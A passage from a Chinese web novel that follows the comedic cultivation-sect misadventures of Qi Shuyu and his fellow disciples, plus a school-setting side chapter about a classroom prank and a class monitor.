残影闪过,齐舒玉板着脸,手执绿芒长剑,站在三米开外的地方剑锋直指明月,义薄云天道:“呔!死鬼!现在就让小爷见识见识,是什么东西在作乱!”
他身子前倾,双手扬在身后,忍者一样冲了出去。
然后,
后悔了。
大叫一声,忍者一样冲了回来,卷起成片飞沙。
“啊啊啊啊我看到了!我看到了!傅绍归杀人了!他杀了个女的!好多血啊啊啊啊你们快去看看那女的是不是薛殷啊!”
41.决裂
花怒娇走得决绝。
齐舒玉脸色非常难看,在她背后大声蛐蛐:“花怒娇这娘们真是的,不帮就不帮,侮辱人算什么英雄好汉!”
他勾住正准备离开的薛殷胳膊,对着花怒娇背影指指点点:“你叛逆期过去了吗怎么不吭声?!你又不是什么好鸟这么坏的人愣着多可惜,一起帮忙骂啊!不然待会儿她只逮着我打我可不会答应她。”
薛殷抽出僵硬的胳膊,冷冷道:“你不是只会求着云岁鸿么。”
齐舒玉更来气了:“他胆子真是越来越大了,才升级到化神就敢不把我这个小人物放在眼里了!你都不知道他刚才居然就站在旁边看傅绍归打我……”
“他突破化神了?”薛殷抬起漆黑的眸子,眉头一皱:“什么时候的事?”
“今天早上,”齐舒玉敷衍完,继续跟他强调:“这不重要!重要的是我一个首席,被傅绍归在那么多人面前给难堪,传出去他好意思我还不好意思呢。”
面容精致如雕刻的少年低侧着头,指尖敲扣腰间略显空荡的剑鞘:“他突破前后有异象么?”
“你能不能听我说话少打听点有的没的,”双眸圆润水亮的青年一脸怒容地抱怨道:“我才不说那会儿我光顾着嫉妒了只记得他金光闪闪帅得要命哪还记得其他。”
薛殷垂下眸子,淡淡道:“那等你记起再来找我。”
“找你干嘛,你爱走就走吧,”齐舒玉摆了摆手,嘟嘟囔囔不高兴道:“就知道跟我打探情报,我有事你又不帮忙。”
少年步子停住。
“云岁鸿自会出手。”
“都说了他不帮我他飘了!”青年玉白色面颊浮起不服的神色,隐隐扭曲,声音不住地拔高:“我已经不跟他好了,他让我怪自己多嘴?我还多嘴?我嘴巴多牢固他知道个屁!好几次都到嘴边了也忍住没跟他说过我吃……”
他止声,有一瞬的得意:“看,就是这么有自制力。”
薛殷抿唇,眯着眼打量他半晌,态度忽然有了转变。
“你还没告诉他?”
“当然!”齐舒玉摊手,像个在卖鱼摊杀了十年鱼的杀手,冷酷地哼笑一声:“告诉他了,鬼知道他会问我些什么问题,而且凭他那猪脑子,大嘴巴到处传怎么办?你以为我就是表面上那么笨吗,实际很聪明的好吧!”
“聪明?”薛殷神情古怪地扬了扬眉:“你放心我?”
齐舒玉翘起下巴,大力地拍了拍他的肩:“当然啦!咱俩关系又不好,你手上关于我的把柄说出去别人只会当你造谣我。况且你看你一个五灵根,除了有我对你心怀不轨,其他人谁愿意搭理你啊,也就上官玲珑那个脑子不好的对你三心二意了点。哎,这半年来我是看着你长大的,虽然你小时候我没抱过你,但希望你以后好好报答我,我这人就喜欢假装嘴上不说,实际心里想要的可太多了。”
“是么,”少年清朗的声音里听不出喜怒,眸子渐渐发沉,紧紧盯着毫无知觉的青年:“你想要什么?”
“你怎么会问我想要什么你中邪了?你现在又没什么本事,哪来的信心。”
“你不也说过信我么。”
“相信你以后能一飞冲天是我的本事,跟你有什么关系,”齐舒玉摆手开始赶人,不是很瞧得起他道:“我要是脸皮有你这么厚就好了,做什么都会成功的。”
那个叛逆期的兔崽子突然又不肯走了。
“傅绍归是怎么打你的?”
“别问了,你没灵力,剑法再好也打不过他的。”
薛殷没有否认,平静地点了点头。
“但我可以教你剑法。”
齐舒玉眼睛‘噌’地发起光来。
薛殷脑子里像装了芯片,基本上什么剑法被他看一眼都能拆出来,这也是为什么他身为外门,却在内门知名度也挺高。
主角嘛,
被针对都是有原因的。
=====
【朕又说大话了,无语自裁!吃完饭困迷糊了,根本码不出字………又是把希望放在明天的一天!!!】
“舒玉,你回来得正好。”
玉婉柔坐在客栈一楼最显眼的位置,温柔浅笑:“怎么瞧着兴致不高?”
齐舒玉避开视线,撇着嘴自暴自弃道:“云岁鸿半路上化神了我没化我不高兴了。”
“不过这点小事也值得你闹脾气么,你只见他人好,却不见他人苦。”玉婉柔轻笑,舒展的眉眼弯起来:“岁鸿这孩子我是知些过往的。他当年筑基倾尽门派之力,自此宗门没落,不得已拜上墨君山来。掌门一时心软,以少有三灵根能在半百内筑基为由说服长老,他又经重重考验,方能成为首徒。而你天生木灵根,年纪尚浅便轻松筑基,如何知他心中所想呢?”
“他不会偷偷哭过吧,”齐舒玉按下嘴角,眼底划过一抹光亮:“没想到大傻个原来是小气鬼我就知道不可能有男人是完美的。”
他扭过头大度道:“云岁鸿我原谅你嫉妒我了听到没以后别没事背地里偷偷说我坏话!”
“玉师叔。”
高大俊朗的建模踏下巨剑,剑刃在他身后边际一点点散开,缩成原本大小,散着金光的白色绷条一根接着一根重新缠绕其上。
邱姗姗扶着笑嘻嘻的上官玲珑跳下来。
一柄墨色长剑在白白的云层中画了道圈。
“玉婉柔,老夫有事先走一步,你个妇道人家千万别在燕师姐跟前乱嚼舌根!”
温柔妇人表情凝滞片刻,浅笑如初春寒气嗖嗖的风,继续道:“你们吴师叔除了胆小担不得事,说话一直颠三倒四,你们习惯他那性子可以,学他可不行。稍后燕师伯和长老问起事来,挺起胸膛来实话实说,不要隐瞒不报,也不要无中生有,知道了么?”
霰月回鞘。
云岁鸿率先作揖道:“弟子明白。”
三人见状也乖顺地学他朝玉婉柔作揖。
“弟子明白。”
“弟子明白。”
“弟子切不理我拽什么拽明白。”
“玲珑你们二人留下,听说昨夜受到惊吓,难为你们吴师叔是个粗鲁不拘小节的臭酸秀才,只会不懂装懂,不能为你们做主。有不方便在他面前说的,待会儿可以放心同我仔细讲讲。”
齐舒玉不禁打眼瞥向邱姗姗,见她仓促扭过头去,皱了皱眉。
……她怎么心虚成这样,
不会是偷东西了吧。
他催动灵力叩响云岁鸿的麦,等了等,才听那心眼比针尖还小的大块头道:“师弟何事?”
“你不会还在生气吧多大点事啊你年纪轻轻就这样以后老了怎么办算了你这把年纪确实到了讲不通道理的时候那我委屈下像孙子一样让让你吧云大爷那银翼天尊……?”
云岁鸿只道了声:“他有分寸。”
靠!!
臭老头敢随便挂电话!
“岁鸿和舒玉去顶上的天字房吧,他们在等
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着,这里交由我了。”
云岁鸿‘是’字未落完,齐舒玉已经踏着‘咚咚咚’的重响脚步一个台阶一个台阶地跑上楼去了。
“师叔——”
“出了墨君山,像舒玉这般便好,不必过于在意。”
“是。”
“……你这样叫旁人挑不出错,也好。”
后面的话齐舒玉懒得听了,径直推开房门:“燕师伯,老子现在就要抢着做第一……”
门内四张眼熟面孔刚印入眼底,
一袭闻得人心痒难耐的花香扑鼻而来。
“……个自找麻烦的人。”
空旷房间内响起银铃般动人心弦的轻笑。
他在表面是肌肉长老背地里肯定是不良□□老头的注视下,手动关上可人的小嘴巴。
糟糕,
这么简单的汇报竟然邀请了他前妻到场。
齐舒玉立刻想起自己昨天上午出师未捷心先死的少男情怀,心痛地移开不小心贴在白花花蒲团上的眼睛。
一段刻骨铭心的爱情,
从单方面恋爱到孩子出生失败,
足足浪费了他十分钟。
而那个女人在假装平静地什么都没发生过!
她看起来一点不像表面上那么……
一道听起来就在嫉妒他年轻俊美的声音尖酸刻薄道:“又是你。我要你一字不落地说!”
空气中磅礴威压犹似一堵在不断逼近的城墙。
齐舒玉颤颤道:“软软的。”
龚赵眉间山川平地起:“什么?”
他收回悬在房门口的脚,余光撞到鼓鼓囊囊的胸大肌,转身小碎步躲到后面去,安心道:“我膝盖软软的肯定是得了老头应激症才这么害怕老头。”
老大哥的鹰眼狠狠飞了记利刀过来:“你整日在胡言乱语什么?”
“禀告长老,”云岁鸿恭敬上前:“弟子与凶者交过手,始终未近其身。”
“连你也不能近身?”
燕问雨微怔片刻,吩咐道:“进来说吧。”
齐舒玉正要抱住云岁鸿的胳膊,抬手时却见他晃影进了门去,手指蜷缩一瞬,收了回来。
“你化神了?”
龚赵眼神一亮,眉心纹路舒展,颇为赞赏:“不错。”
燕问雨也露出笑容:“恭喜。”
故意在他们面前走了秀但语气里没当回事的装逼男作揖道:“多谢长老与师叔师伯教诲。”
落他身后的天才熟男磨了磨牙,
默默关门。
用对比手法展现了纯善质朴但炮灰的老实人品质。
好在这房里的老实人不止他一个。
无视傅绍归对他的无视,
齐舒玉朝临时队友笑了笑。
“化神是什么时候的事?”
“与凶者交手之后。”
“能借短短一战突破?悟性不错。那若以你现今实力对上他,如何?”
“或可近身,但毫无胜算。”
燕问雨和龚赵对视一眼。
“不是邪修。”
龚赵点头:“实力至此,也不必做只过街老鼠。”
燕问雨眉头紧锁:“可鲜少有魔族在乌水镇无端出手伤人。”
龚赵傲然冷笑一声:“魔族不过是些天生有灵,却空有脑子的玩意,谁猜得出他们在想什么,和畜生分别能有多大?说不定想寻颗金丹玩玩,被白凤苑倒霉碰上了。”
42.校园番外
“齐哥,现在我们该怎么办?”
夏日炎炎,几个少年满头大汗地顶着椅子站在教室门外,一脸渴望地注视着窗户里晃头晃脑的风扇和18度的空调。
“燕问雨把门都锁了,问我有个屁用,”高高白白的少年头发湿哒哒地贴在脸上,长指抓着座板,越说越暴躁:“到底谁他妈教你们中午去给薛殷车胎放气的?!!傻逼啊!不知道这种事情放学才能做??而且拔个气拴需要四五个人一起吗,你们是不是纯纯有病?!”
几个人你看我我看你。
“秦天柱说是你让我们去的。”
秦天柱缩了缩脖子。
“齐哥你也知道,我放学了要准时回去吃饭的,薛殷天天那么晚回去,我没法帮你拔气拴。”
“那你就滚回去吃饭,我自己能搞他,和你有个屁关系!”
“我觉得不行。”
秦天柱严肃地拒绝他。
“我不能太没有集体荣誉感。”
齐舒玉歪着头,扣在座板上的指尖用力到发红,面目狰狞,声音从牙缝里挤出来:“秦天柱你他妈就是来害我的大傻逼!”
“嘘——别吵架啦,齐哥,”有人慌张又有些惊喜起来:“班长检查完回来了!”
齐舒玉瞬间止声。
他眯起眼,见走廊楼梯口有个人高马大的东西慢慢走下来,姿势很是装逼。
少年清咳一声,脊背瞬间挺直,目视前方,仰起天鹅颈小声叮嘱:“别说话,一会儿跟着他混进去。”
来人越近,
齐舒玉的头抬的越高。
在那人停下脚步时,
正好一眼望进混血儿似的深目之中。
齐舒玉恶狠狠地瞪回去。
妈的,
这傻逼也一点都不帅!
“麻烦让一下,”盛夏之中还穿着长袖校服衬衫的云岁鸿微低着头,眸光扫过少年被汗浸湿的脸:“不要挡在门口。”
门缝里有凉气透出来,齐舒玉当然是故意选在这里的,但他还是面不改色地梗着脖子切了声:“我又不是故意的,你要敲门
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就敲你的,我爱干嘛干嘛。”
云岁鸿冷静地盯了他几秒,
抬起手。
齐舒玉下意识闭上眼睛偏开头。
有什么东西滑过他的耳垂。
‘笃笃’声响随即起。
下一刻,
门从里面打开了。
清凉的冷风扑在齐舒玉汗湿的背上,爽得他打了个激灵,忍不住叹出声:“好爽!”
班里哄堂大笑起来。
“齐哥好骚啊!”
“小齐吹到空调真有那么爽?”
“我去,班长比齐舒玉还高那么多!”
“又不是第一天知道。”
讲台边上坐着的女生明眸皓齿,眼睛亮晶晶地拍着桌子十分起劲:“班长回来,小鱼爽了,我懂我先磕!”
“加1。”
“加2。”
“加1314。”
“还上不上课了?!”
燕问雨站在讲台上狠狠拍了拍黑板:“上官玲珑,不听课你也出去!”